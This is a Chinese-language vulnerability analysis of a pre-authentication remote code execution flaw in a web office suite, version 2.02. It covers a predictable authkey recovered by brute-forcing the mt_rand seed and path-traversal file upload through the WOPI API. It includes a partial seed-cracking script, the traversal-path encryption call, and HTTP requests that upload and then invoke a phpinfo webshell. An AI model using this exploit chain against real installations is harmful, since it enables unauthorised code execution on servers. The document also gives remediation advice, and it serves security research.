某Office2.02前台RCE分析
字数 1719 2025-08-27 12:33:54

某Office2.02前台RCE漏洞分析与利用

漏洞概述

本文详细分析某Office2.02系统中存在的一个前台远程代码执行(RCE)漏洞。该漏洞源于系统安装过程中随机数种子固定问题,导致安全密钥(authkey)可被预测和爆破,进而通过加密参数控制实现文件上传和代码执行。

漏洞环境搭建

  1. 源代码下载:获取某Office2.02的源码文件
  2. 环境准备:启动LAMP环境,将源码放入web目录
  3. 安装过程
    • 访问web目录进入安装界面
    • 按照提示完成安装步骤
    • 数据库信息和管理员信息使用默认设置
  4. 关键配置
    • 访问admin.php?mod=setting&operation=sec
    • 必须开启用户登录验证码,否则无法获取所需Cookie

漏洞原理分析

随机数种子固定问题

漏洞核心位于install/index.php文件(安装后自动删除),关键代码片段:

$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
$_config['cookie']['cookiepre'] = random(4).'_';

random()函数定义于install/include/install_function.php

function random($length) {
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

关键问题

  • 随机数生成器未重新播种,导致所有随机数基于同一种子生成
  • 在同一进程中,相同种子生成的mt_rand()值固定不变

通过Cookie获取种子

  1. Cookie前缀可获取$_config['cookie']['cookiepre']random(4)生成
  2. 爆破种子流程
    • 使用php_mt_seed工具爆破可能的随机数种子
    • 通过已知的Cookie前缀(如"gGyk")反向推导种子
    • 生成所有可能的random(10)结果作为authkey后缀

authkey的作用与验证

  1. authkey功能

    • 用于authcode()流加密算法
    • 可加密重要参数,控制加密数据
  2. 验证方法

    • core/function/function_seccode.php中找到可控明文点:
    dsetcookie('seccode'.$idhash, authcode(strtoupper($seccode)."\t".(TIMESTAMP - 180)."\t".$idhash."\t".FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true);
    
    • 通过Cookie获取$idhash和对应密文
    • 爆破前6位(范围0x000000-0xffffff)与后缀组合解密密文

完整爆破authkey流程

  1. 通过Cookie前缀爆破随机数种子
  2. 用种子生成random(10),得到所有可能的authkey后缀
  3. 查看Cookie获取$idhash和对应密文
  4. 用生成的后缀爆破前6位,解密密文验证正确性
  5. 比较计算结果与获取的密文,匹配则获取authkey

漏洞利用验证

获取authkey

  1. 准备爆破数据

    • 使用脚本将Cookie前缀转换为php_mt_seed可处理格式
    • 示例输出格式:0 61 0 61 ... 42 42 0 61 6 6 0 61 60 60 0 61 46 46 0 61
  2. 生成种子文件

    • 使用php_mt_seed工具暴力破解可能的种子
  3. 验证脚本

    <?php
    // 省略部分代码...
    $seeds = explode("\n", file_get_contents('seed.txt'));
    for ($i = 0; $i < count($seeds); $i++) {
        if(preg_match('/= (\d+) /', $seeds[$i], $matach)) {
            mt_srand(intval($matach[1]));
            $authkey = random(10);
            if(random(4) == $pre){
                $res = crack($string, $authkey, $seccode);
                if($res) {
                    echo "authkey found: ".$res;
                    exit();
                }
            }
        }
    }
    // 省略部分代码...
    
  4. 成功获取:最终得到authkey,如3ccd48TRC0BU9NnD

文件上传利用

  1. 寻找利用点

    • 全局搜索dzzdecode找到多处可利用点
    • 示例文件:core/api/wopi/index.php
  2. 文件上传流程

    • 调用Wopi::PUTFile
    • 通过IO::SetFileContent写入文件
    • 使用..././绕过路径清理(\n,\r,../被替换为空)
  3. 加密Path参数

    • 使用authkey加密上传路径:
    echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3ccd48TRC0BU9NnD'),'ENCODE'));
    
  4. 构造攻击数据包

    POST /dzz/core/api/wopi/index.php?access_token=1&action=contents&path=Y2RhNUl5N09ZVW8vaGNkV0tEcU1qZzc0bGtLWGlIVXZEdjY3eUxmaXFiR3k1VDhtNUJXSFZnZHF1Y3I1VGZCcmtDNXljVGJaMVFnSWlNVENzR1U= HTTP/1.1
    Host: localhost
    ... [其他头部信息] ...
    Content-Length: 18
    Content-Type: application/x-www-form-urlencoded
    
    <?php phpinfo();?>
    
  5. 访问上传的shell

    POST /dzz/shell.php HTTP/1.1
    Host: localhost
    ... [其他头部信息] ...
    Content-Length: 18
    Content-Type: application/x-www-form-urlencoded
    
    <?php phpinfo();?>
    

总结与防护建议

  1. 漏洞根源

    • 系统大量借用Discuz代码,继承了相同的随机数安全问题
    • 安装过程中的随机数种子固定导致authkey可预测
  2. 审计建议

    • 不应忽视任何文件,包括安装后删除的文件
    • 检查系统是否还存在Discuz的其他历史漏洞
    • 注意defined限制的绕过可能性
  3. 修复方案

    • 修改random()函数,确保每次生成随机数前重新播种
    • 加强authkey的生成复杂度
    • 对文件上传路径进行更严格的过滤
  4. 其他潜在问题

    • GitHub Issues中提到的defined限制绕过可能性
    • 可能存在远程文件包含漏洞导致RCE

参考链接

  1. GitHub Issue #137
  2. 随机数安全问题分析
  3. 相关技术分析
某Office2.02前台RCE漏洞分析与利用 漏洞概述 本文详细分析某Office2.02系统中存在的一个前台远程代码执行(RCE)漏洞。该漏洞源于系统安装过程中随机数种子固定问题,导致安全密钥(authkey)可被预测和爆破,进而通过加密参数控制实现文件上传和代码执行。 漏洞环境搭建 源代码下载 :获取某Office2.02的源码文件 环境准备 :启动LAMP环境,将源码放入web目录 安装过程 : 访问web目录进入安装界面 按照提示完成安装步骤 数据库信息和管理员信息使用默认设置 关键配置 : 访问 admin.php?mod=setting&operation=sec 必须开启用户登录验证码 ,否则无法获取所需Cookie 漏洞原理分析 随机数种子固定问题 漏洞核心位于 install/index.php 文件(安装后自动删除),关键代码片段: random() 函数定义于 install/include/install_function.php : 关键问题 : 随机数生成器未重新播种,导致所有随机数基于同一种子生成 在同一进程中,相同种子生成的 mt_rand() 值固定不变 通过Cookie获取种子 Cookie前缀可获取 : $_config['cookie']['cookiepre'] 由 random(4) 生成 爆破种子流程 : 使用 php_mt_seed 工具爆破可能的随机数种子 通过已知的Cookie前缀(如"gGyk")反向推导种子 生成所有可能的 random(10) 结果作为authkey后缀 authkey的作用与验证 authkey功能 : 用于 authcode() 流加密算法 可加密重要参数,控制加密数据 验证方法 : 在 core/function/function_seccode.php 中找到可控明文点: 通过Cookie获取 $idhash 和对应密文 爆破前6位(范围0x000000-0xffffff)与后缀组合解密密文 完整爆破authkey流程 通过Cookie前缀爆破随机数种子 用种子生成 random(10) ,得到所有可能的authkey后缀 查看Cookie获取 $idhash 和对应密文 用生成的后缀爆破前6位,解密密文验证正确性 比较计算结果与获取的密文,匹配则获取authkey 漏洞利用验证 获取authkey 准备爆破数据 : 使用脚本将Cookie前缀转换为 php_mt_seed 可处理格式 示例输出格式: 0 61 0 61 ... 42 42 0 61 6 6 0 61 60 60 0 61 46 46 0 61 生成种子文件 : 使用 php_mt_seed 工具暴力破解可能的种子 验证脚本 : 成功获取 :最终得到authkey,如 3ccd48TRC0BU9NnD 文件上传利用 寻找利用点 : 全局搜索 dzzdecode 找到多处可利用点 示例文件: core/api/wopi/index.php 文件上传流程 : 调用 Wopi::PUTFile 通过 IO::SetFileContent 写入文件 使用 ..././ 绕过路径清理( \n , \r , ../ 被替换为空) 加密Path参数 : 使用authkey加密上传路径: 构造攻击数据包 : 访问上传的shell : 总结与防护建议 漏洞根源 : 系统大量借用Discuz代码,继承了相同的随机数安全问题 安装过程中的随机数种子固定导致authkey可预测 审计建议 : 不应忽视任何文件,包括安装后删除的文件 检查系统是否还存在Discuz的其他历史漏洞 注意 defined 限制的绕过可能性 修复方案 : 修改 random() 函数,确保每次生成随机数前重新播种 加强authkey的生成复杂度 对文件上传路径进行更严格的过滤 其他潜在问题 : GitHub Issues中提到的 defined 限制绕过可能性 可能存在远程文件包含漏洞导致RCE 参考链接 GitHub Issue #137 随机数安全问题分析 相关技术分析